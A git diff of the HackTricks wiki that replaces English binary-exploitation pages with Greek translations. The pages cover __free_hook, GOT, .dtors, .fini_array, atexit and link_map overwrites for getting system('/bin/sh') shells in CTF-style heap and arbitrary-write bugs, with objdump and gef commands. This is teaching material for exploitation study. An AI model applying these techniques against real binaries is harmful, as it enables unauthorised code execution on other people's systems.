$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
|
||||
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
- Εάν καταφέρουμε να αποκτήσουμε μια γρήγορη chunk μεγέθους 0x200 σε αυτή τη θέση, θα είναι δυνατό να αντικαταστήσουμε έναν δείκτη συνάρτησης που θα εκτελείται
|
||||
- Για αυτό, δημιουργείται μια νέα chunk μεγέθους `0xfc` και καλείται η συγχωνευμένη συνάρτηση με αυτόν τον δείκτη δύο φορές, με αυτόν τον τρόπο αποκτούμε έναν δείκτη σε μια απελευθερωμένη chunk μεγέθους `0xfc*2 = 0x1f8` στο γρήγορο bin.
|
||||
- Στη συνέχεια, καλείται η συνάρτηση επεξεργασίας σε αυτή τη chunk για να τροποποιήσει τη διεύθυνση **`fd`** αυτού του γρήγορου bin ώστε να δείχνει στην προηγούμενη συνάρτηση **`__free_hook`**.
|
||||
- Στη συνέχεια, δημιουργείται μια chunk μεγέθους `0x1f8` για να ανακτηθεί από το γρήγορο bin η προηγούμενη άχρηστη chunk, ώστε να δημιουργηθεί άλλη μια chunk μεγέθους `0x1f8` για να αποκτήσουμε μια γρήγορη chunk στο **`__free_hook`** που αντικαθίσταται με τη διεύθυνση της συνάρτησης **`system`**.
|
||||
- Και τελικά, μια chunk που περιέχει τη συμβολοσειρά `/bin/sh\x00` απελευθερώνεται καλώντας τη συνάρτηση διαγραφής, ενεργοποιώντας τη συνάρτηση **`__free_hook`** που δείχνει στη system με το `/bin/sh\x00` ως παράμετρο.
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||
|
||||
@ -2,63 +2,63 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Basic Information**
|
||||
## **Βασικές Πληροφορίες**
|
||||
|
||||
### **GOT: Global Offset Table**
|
||||
### **GOT: Παγκόσμιος Πίνακας Μεταθέσεων**
|
||||
|
||||
The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved.
|
||||
Ο **Παγκόσμιος Πίνακας Μεταθέσεων (GOT)** είναι ένας μηχανισμός που χρησιμοποιείται σε δυναμικά συνδεδεμένα δυαδικά αρχεία για τη διαχείριση των **διευθύνσεων εξωτερικών συναρτήσεων**. Δεδομένου ότι αυτές οι **διευθύνσεις δεν είναι γνωστές μέχρι την εκτέλεση** (λόγω δυναμικής σύνδεσης), ο GOT παρέχει έναν τρόπο για να **ενημερώνονται δυναμικά οι διευθύνσεις αυτών των εξωτερικών συμβόλων** μόλις επιλυθούν.
|
||||
|
||||
Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again.
|
||||
Κάθε καταχώρηση στον GOT αντιστοιχεί σε ένα σύμβολο στις εξωτερικές βιβλιοθήκες που μπορεί να καλέσει το δυαδικό αρχείο. Όταν μια **συνάρτηση καλείται για πρώτη φορά, η πραγματική της διεύθυνση επιλύεται από τον δυναμικό σύνδεσμο και αποθηκεύεται στον GOT**. Οι επόμενες κλήσεις στην ίδια συνάρτηση χρησιμοποιούν τη διεύθυνση που είναι αποθηκευμένη στον GOT, αποφεύγοντας έτσι την επιβάρυνση της εκ νέου επίλυσης της διεύθυνσης.
|
||||
|
||||
### **PLT: Procedure Linkage Table**
|
||||
### **PLT: Πίνακας Σύνδεσης Διαδικασιών**
|
||||
|
||||
The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**.
|
||||
Ο **Πίνακας Σύνδεσης Διαδικασιών (PLT)** συνεργάζεται στενά με τον GOT και λειτουργεί ως trampoline για να διαχειρίζεται τις κλήσεις σε εξωτερικές συναρτήσεις. Όταν ένα δυαδικό αρχείο **καλεί μια εξωτερική συνάρτηση για πρώτη φορά, ο έλεγχος μεταφέρεται σε μια καταχώρηση στον PLT που σχετίζεται με αυτή τη συνάρτηση**. Αυτή η καταχώρηση PLT είναι υπεύθυνη για την κλήση του δυναμικού συνδέσμου για να επιλύσει τη διεύθυνση της συνάρτησης αν δεν έχει ήδη επιλυθεί. Αφού επιλυθεί η διεύθυνση, αποθηκεύεται στον **GOT**.
|
||||
|
||||
**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker.
|
||||
**Επομένως,** οι καταχωρήσεις GOT χρησιμοποιούνται άμεσα μόλις επιλυθεί η διεύθυνση μιας εξωτερικής συνάρτησης ή μεταβλητής. **Οι καταχωρήσεις PLT χρησιμοποιούνται για να διευκολύνουν την αρχική επίλυση** αυτών των διευθύνσεων μέσω του δυναμικού συνδέσμου.
|
||||
|
||||
## Get Execution
|
||||
## Λάβετε Εκτέλεση
|
||||
|
||||
### Check the GOT
|
||||
### Ελέγξτε τον GOT
|
||||
|
||||
Get the address to the GOT table with: **`objdump -s -j .got ./exec`**
|
||||
Λάβετε τη διεύθυνση του πίνακα GOT με: **`objdump -s -j .got ./exec`**
|
||||
|
||||
.png>)
|
||||
|
||||
Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT`
|
||||
Παρατηρήστε πώς μετά την **φόρτωση** του **εκτελέσιμου** στο GEF μπορείτε να **δείτε** τις **συναρτήσεις** που είναι στον **GOT**: `gef➤ x/20x 0xADDR_GOT`
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||
|
||||
Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table:
|
||||
Χρησιμοποιώντας το GEF μπορείτε να **ξεκινήσετε** μια **συνεδρία αποσφαλμάτωσης** και να εκτελέσετε **`got`** για να δείτε τον πίνακα got:
|
||||
|
||||
.png>)
|
||||
|
||||
### GOT2Exec
|
||||
|
||||
In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example.
|
||||
Σε ένα δυαδικό αρχείο, ο GOT έχει τις **διευθύνσεις στις συναρτήσεις ή** στην **ενότητα PLT** που θα φορτώσει τη διεύθυνση της συνάρτησης. Ο στόχος αυτής της αυθαίρετης εγγραφής είναι να **επικαλύψει μια καταχώρηση GOT** μιας συνάρτησης που πρόκειται να εκτελεστεί αργότερα **με** τη **διεύθυνση** του PLT της **συνάρτησης** **`system`** για παράδειγμα.
|
||||
|
||||
Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function).
|
||||
Ιδανικά, θα **επικαλύψετε** τον **GOT** μιας **συνάρτησης** που **θα κληθεί με παραμέτρους που ελέγχετε εσείς** (έτσι θα μπορείτε να ελέγξετε τις παραμέτρους που αποστέλλονται στη συνάρτηση system).
|
||||
|
||||
If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address.
|
||||
Αν η **`system`** **δεν χρησιμοποιείται** από το δυαδικό αρχείο, η συνάρτηση system **δεν θα** έχει μια καταχώρηση στον PLT. Σε αυτό το σενάριο, θα **πρέπει πρώτα να διαρρεύσετε τη διεύθυνση** της συνάρτησης `system` και στη συνέχεια να επικαλύψετε τον GOT για να δείξετε σε αυτή τη διεύθυνση.
|
||||
|
||||
You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`**
|
||||
Μπορείτε να δείτε τις διευθύνσεις PLT με **`objdump -j .plt -d ./vuln_binary`**
|
||||
|
||||
## libc GOT entries
|
||||
## Καταχωρήσεις GOT της libc
|
||||
|
||||
The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
|
||||
Ο **GOT της libc** συνήθως μεταγλωττίζεται με **μερική RELRO**, καθιστώντας τον έναν ωραίο στόχο για αυτό, υποθέτοντας ότι είναι δυνατό να προσδιοριστεί η διεύθυνσή του ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
|
||||
|
||||
Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution.
|
||||
Κοινές συναρτήσεις της libc θα καλέσουν **άλλες εσωτερικές συναρτήσεις** των οποίων ο GOT θα μπορούσε να επικαλυφθεί προκειμένου να αποκτηθεί εκτέλεση κώδικα.
|
||||
|
||||
Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
|
||||
Βρείτε [**περισσότερες πληροφορίες σχετικά με αυτή την τεχνική εδώ**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
|
||||
|
||||
### **Free2system**
|
||||
|
||||
In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`.
|
||||
Στην εκμετάλλευση heap CTFs είναι κοινό να μπορείτε να ελέγξετε το περιεχόμενο των chunks και σε κάποιο σημείο ακόμη και να επικαλύψετε τον πίνακα GOT. Ένα απλό κόλπο για να αποκτήσετε RCE αν δεν είναι διαθέσιμα gadgets είναι να επικαλύψετε τη διεύθυνση GOT του `free` ώστε να δείχνει στη `system` και να γράψετε μέσα σε ένα chunk `"/bin/sh"`. Με αυτόν τον τρόπο, όταν αυτό το chunk απελευθερωθεί, θα εκτελέσει `system("/bin/sh")`.
|
||||
|
||||
### **Strlen2system**
|
||||
|
||||
Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell.
|
||||
Μια άλλη κοινή τεχνική είναι να επικαλύψετε τη διεύθυνση GOT της **`strlen`** ώστε να δείχνει στη **`system`**, έτσι αν αυτή η συνάρτηση κληθεί με είσοδο χρήστη είναι δυνατό να περάσετε τη συμβολοσειρά `"/bin/sh"` και να αποκτήσετε ένα shell.
|
||||
|
||||
Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**.
|
||||
Επιπλέον, αν η `puts` χρησιμοποιείται με είσοδο χρήστη, είναι δυνατό να επικαλύψετε τη διεύθυνση GOT της `strlen` ώστε να δείχνει στη `system` και να περάσετε τη συμβολοσειρά `"/bin/sh"` για να αποκτήσετε ένα shell επειδή **η `puts` θα καλέσει τη `strlen` με την είσοδο χρήστη**.
|
||||
|
||||
## **One Gadget**
|
||||
|
||||
@ -66,22 +66,22 @@ Moreover, if `puts` is used with user input, it's possible to overwrite the `str
|
||||
../rop-return-oriented-programing/ret2lib/one-gadget.md
|
||||
{{#endref}}
|
||||
|
||||
## **Abusing GOT from Heap**
|
||||
## **Κατάχρηση του GOT από Heap**
|
||||
|
||||
A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\
|
||||
Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell.
|
||||
Ένας κοινός τρόπος για να αποκτήσετε RCE από μια ευπάθεια heap είναι να καταχραστείτε ένα fastbin ώστε να είναι δυνατό να προσθέσετε το μέρος του πίνακα GOT στο fast bin, έτσι ώστε κάθε φορά που αυτό το chunk κατανεμηθεί θα είναι δυνατό να **επικαλύψετε τον δείκτη μιας συνάρτησης, συνήθως του `free`**.\
|
||||
Στη συνέχεια, δείχνοντας το `free` στη `system` και απελευθερώνοντας ένα chunk όπου γράφτηκε το `/bin/sh\x00` θα εκτελέσει ένα shell.
|
||||
|
||||
It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
|
||||
Είναι δυνατό να βρείτε ένα [**παράδειγμα εδώ**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
|
||||
|
||||
## **Protections**
|
||||
## **Προστασίες**
|
||||
|
||||
The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it:
|
||||
Η προστασία **Full RELRO** προορίζεται να προστατεύει από αυτού του είδους την τεχνική επιλύοντας όλες τις διευθύνσεις των συναρτήσεων όταν ξεκινά το δυαδικό αρχείο και καθιστώντας τον **πίνακα GOT μόνο για ανάγνωση** μετά από αυτό:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/relro.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
|
||||
@ -5,52 +5,48 @@
|
||||
## .dtors
|
||||
|
||||
> [!CAUTION]
|
||||
> Nowadays is very **weird to find a binary with a .dtors section!**
|
||||
> Σήμερα είναι πολύ **περίεργο να βρεις ένα δυαδικό αρχείο με τμήμα .dtors!**
|
||||
|
||||
The destructors are functions that are **executed before program finishes** (after the `main` function returns).\
|
||||
The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends.
|
||||
|
||||
Get the address of this section with:
|
||||
Οι καταστροφείς είναι συναρτήσεις που **εκτελούνται πριν το πρόγραμμα τελειώσει** (μετά την επιστροφή της συνάρτησης `main`).\
|
||||
Οι διευθύνσεις αυτών των συναρτήσεων αποθηκεύονται μέσα στο **`.dtors`** τμήμα του δυαδικού αρχείου και επομένως, αν καταφέρετε να **γράψετε** τη **διεύθυνση** σε ένα **shellcode** στο **`__DTOR_END__`**, αυτό θα **εκτελεστεί** πριν το πρόγραμμα τελειώσει.
|
||||
|
||||
Πάρτε τη διεύθυνση αυτού του τμήματος με:
|
||||
```bash
|
||||
objdump -s -j .dtors /exec
|
||||
rabin -s /exec | grep “__DTOR”
|
||||
```
|
||||
|
||||
Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it.
|
||||
Συνήθως θα βρείτε τους **DTOR** δείκτες **μεταξύ** των τιμών `ffffffff` και `00000000`. Έτσι, αν δείτε μόνο αυτές τις τιμές, σημαίνει ότι **δεν υπάρχει καμία καταχωρημένη συνάρτηση**. Έτσι, **επικαλύψτε** το **`00000000`** με τη **διεύθυνση** του **shellcode** για να το εκτελέσετε.
|
||||
|
||||
> [!WARNING]
|
||||
> Ofc, you first need to find a **place to store the shellcode** in order to later call it.
|
||||
> Φυσικά, πρώτα πρέπει να βρείτε μια **θέση για να αποθηκεύσετε το shellcode** προκειμένου να το καλέσετε αργότερα.
|
||||
|
||||
## **.fini_array**
|
||||
|
||||
Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**.
|
||||
|
||||
Ουσιαστικά, αυτή είναι μια δομή με **συναρτήσεις που θα κληθούν** πριν το πρόγραμμα τελειώσει, όπως η **`.dtors`**. Αυτό είναι ενδιαφέρον αν μπορείτε να καλέσετε το **shellcode απλά πηδώντας σε μια διεύθυνση**, ή σε περιπτώσεις όπου χρειάζεται να επιστρέψετε **πίσω στο `main`** ξανά για να **εκμεταλλευτείτε την ευπάθεια μια δεύτερη φορά**.
|
||||
```bash
|
||||
objdump -s -j .fini_array ./greeting
|
||||
|
||||
./greeting: file format elf32-i386
|
||||
|
||||
Contents of section .fini_array:
|
||||
8049934 a0850408
|
||||
8049934 a0850408
|
||||
|
||||
#Put your address in 0x8049934
|
||||
```
|
||||
Σημειώστε ότι όταν εκτελείται μια συνάρτηση από το **`.fini_array`**, μετακινείται στην επόμενη, οπότε δεν θα εκτελείται πολλές φορές (αποτρέποντας τους αιώνιους βρόχους), αλλά επίσης θα σας δώσει μόνο 1 **εκτέλεση της συνάρτησης** που τοποθετείται εδώ.
|
||||
|
||||
Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here.
|
||||
Σημειώστε ότι οι καταχωρίσεις στο **`.fini_array`** καλούνται σε **αντίστροφη** σειρά, οπότε πιθανώς θέλετε να αρχίσετε να γράφετε από την τελευταία.
|
||||
|
||||
Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one.
|
||||
#### Αιώνιος βρόχος
|
||||
|
||||
#### Eternal loop
|
||||
Για να εκμεταλλευτείτε το **`.fini_array`** για να αποκτήσετε έναν αιώνιο βρόχο μπορείτε να [**ελέγξετε τι έγινε εδώ**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** Εάν έχετε τουλάχιστον 2 καταχωρίσεις στο **`.fini_array`**, μπορείτε να:
|
||||
|
||||
In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can:
|
||||
|
||||
- Use your first write to **call the vulnerable arbitrary write function** again
|
||||
- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`**
|
||||
- This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again.
|
||||
- Χρησιμοποιήσετε την πρώτη σας εγγραφή για να **καλέσετε ξανά τη λειτουργία ευάλωτης αυθαίρετης εγγραφής**
|
||||
- Στη συνέχεια, υπολογίστε τη διεύθυνση επιστροφής στη στοίβα που αποθηκεύεται από το **`__libc_csu_fini`** (τη συνάρτηση που καλεί όλες τις συναρτήσεις του **`.fini_array`**) και τοποθετήστε εκεί τη **διεύθυνση του `__libc_csu_fini`**
|
||||
- Αυτό θα κάνει το **`__libc_csu_fini`** να καλέσει ξανά τον εαυτό του εκτελώντας ξανά τις συναρτήσεις του **`.fini_array`**, οι οποίες θα καλέσουν τη ευάλωτη WWW συνάρτηση 2 φορές: μία για **αυθαίρετη εγγραφή** και μία άλλη για να ξαναγράψει τη **διεύθυνση επιστροφής του `__libc_csu_fini`** στη στοίβα για να καλέσει ξανά τον εαυτό του.
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**.
|
||||
> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also.
|
||||
> Σημειώστε ότι με [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** η ενότητα **`.fini_array`** είναι **μόνο για ανάγνωση**.
|
||||
> Σε νεότερες εκδόσεις, ακόμη και με [**Partial RELRO**] η ενότητα **`.fini_array`** είναι επίσης **μόνο για ανάγνωση**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -5,35 +5,34 @@
|
||||
## **\_\_atexit Structures**
|
||||
|
||||
> [!CAUTION]
|
||||
> Nowadays is very **weird to exploit this!**
|
||||
> Σήμερα είναι πολύ **περίεργο να εκμεταλλευτείς αυτό!**
|
||||
|
||||
**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\
|
||||
If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\
|
||||
Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\
|
||||
The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector.
|
||||
**`atexit()`** είναι μια συνάρτηση στην οποία **άλλες συναρτήσεις περνιούνται ως παράμετροι.** Αυτές οι **συναρτήσεις** θα **εκτελούνται** κατά την εκτέλεση μιας **`exit()`** ή της **επιστροφής** της **κύριας**.\
|
||||
Αν μπορείς να **τροποποιήσεις** τη **διεύθυνση** οποιασδήποτε από αυτές τις **συναρτήσεις** ώστε να δείχνει σε ένα shellcode για παράδειγμα, θα **κερδίσεις έλεγχο** της **διαδικασίας**, αλλά αυτό είναι προς το παρόν πιο περίπλοκο.\
|
||||
Αυτή τη στιγμή οι **διευθύνσεις στις συναρτήσεις** που θα εκτελούνται είναι **κρυμμένες** πίσω από πολλές δομές και τελικά η διεύθυνση στην οποία δείχνει δεν είναι οι διευθύνσεις των συναρτήσεων, αλλά είναι **κρυπτογραφημένες με XOR** και μετατοπίσεις με μια **τυχαία κλειδί**. Έτσι, αυτή τη στιγμή αυτός ο επιθετικός παράγοντας δεν είναι **πολύ χρήσιμος τουλάχιστον σε x86** και **x64_86**.\
|
||||
Η **συνάρτηση κρυπτογράφησης** είναι **`PTR_MANGLE`**. **Άλλες αρχιτεκτονικές** όπως m68k, mips32, mips64, aarch64, arm, hppa... **δεν υλοποιούν τη συνάρτηση κρυπτογράφησης** γιατί **επιστρέφει το ίδιο** με αυτό που έλαβε ως είσοδο. Έτσι, αυτές οι αρχιτεκτονικές θα μπορούσαν να επιτεθούν μέσω αυτού του παραγόντα.
|
||||
|
||||
You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
|
||||
Μπορείς να βρεις μια σε βάθος εξήγηση για το πώς λειτουργεί αυτό στο [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
|
||||
|
||||
## link_map
|
||||
|
||||
As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors.
|
||||
Όπως εξηγήθηκε [**σε αυτή την ανάρτηση**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), Αν το πρόγραμμα τερματίσει χρησιμοποιώντας `return` ή `exit()` θα εκτελέσει `__run_exit_handlers()` που θα καλέσει καταχωρημένους καταστροφείς.
|
||||
|
||||
> [!CAUTION]
|
||||
> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it.
|
||||
|
||||
The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
|
||||
> Αν το πρόγραμμα τερματίσει μέσω της **`_exit()`** συνάρτησης, θα καλέσει την **`exit` syscall** και οι χειριστές εξόδου δεν θα εκτελούνται. Έτσι, για να επιβεβαιώσεις ότι εκτελείται το `__run_exit_handlers()`, μπορείς να ορίσεις ένα breakpoint σε αυτό.
|
||||
|
||||
Ο σημαντικός κώδικας είναι ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
|
||||
```c
|
||||
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
|
||||
if (fini_array != NULL)
|
||||
{
|
||||
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
|
||||
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
|
||||
{
|
||||
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
|
||||
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
|
||||
|
||||
while (sz-- > 0)
|
||||
((fini_t) array[sz]) ();
|
||||
}
|
||||
[...]
|
||||
while (sz-- > 0)
|
||||
((fini_t) array[sz]) ();
|
||||
}
|
||||
[...]
|
||||
|
||||
|
||||
|
||||
@ -41,198 +40,187 @@ if (fini_array != NULL)
|
||||
// This is the d_un structure
|
||||
ptype l->l_info[DT_FINI_ARRAY]->d_un
|
||||
type = union {
|
||||
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
|
||||
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
|
||||
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
|
||||
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
|
||||
}
|
||||
```
|
||||
Σημειώστε πώς το `map -> l_addr + fini_array -> d_un.d_ptr` χρησιμοποιείται για να **υπολογίσει** τη θέση του **πίνακα συναρτήσεων που πρέπει να καλέσετε**.
|
||||
|
||||
Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**.
|
||||
Υπάρχουν **μερικές επιλογές**:
|
||||
|
||||
There are a **couple of options**:
|
||||
|
||||
- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code
|
||||
- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled. 
|
||||
- [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array.
|
||||
- According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example.
|
||||
|
||||
Following the previous code you can find another interesting section with the code:
|
||||
- Επαναγράψτε την τιμή του `map->l_addr` για να δείχνει σε ένα **ψεύτικο `fini_array`** με οδηγίες για την εκτέλεση αυθαίρετου κώδικα
|
||||
- Επαναγράψτε τις εγγραφές `l_info[DT_FINI_ARRAY]` και `l_info[DT_FINI_ARRAYSZ]` (οι οποίες είναι περισσότερο ή λιγότερο διαδοχικές στη μνήμη), για να τις κάνετε **να δείχνουν σε μια πλαστή δομή `Elf64_Dyn`** που θα κάνει ξανά **ο `array` να δείχνει σε μια ζώνη μνήμης** που ελέγχεται από τον επιτιθέμενο. 
|
||||
- [**Αυτή η αναφορά**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) επαναγράφει το `l_info[DT_FINI_ARRAY]` με τη διεύθυνση μιας ελεγχόμενης μνήμης στο `.bss` που περιέχει ένα ψεύτικο `fini_array`. Αυτός ο ψεύτικος πίνακας περιέχει **πρώτα μια** [**διεύθυνση one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **που θα εκτελεστεί και στη συνέχεια τη** **διαφορά** μεταξύ της διεύθυνσης αυτού του **ψεύτικου πίνακα** και της **τιμής του `map->l_addr`** έτσι ώστε το `*array` να δείχνει στον ψεύτικο πίνακα.
|
||||
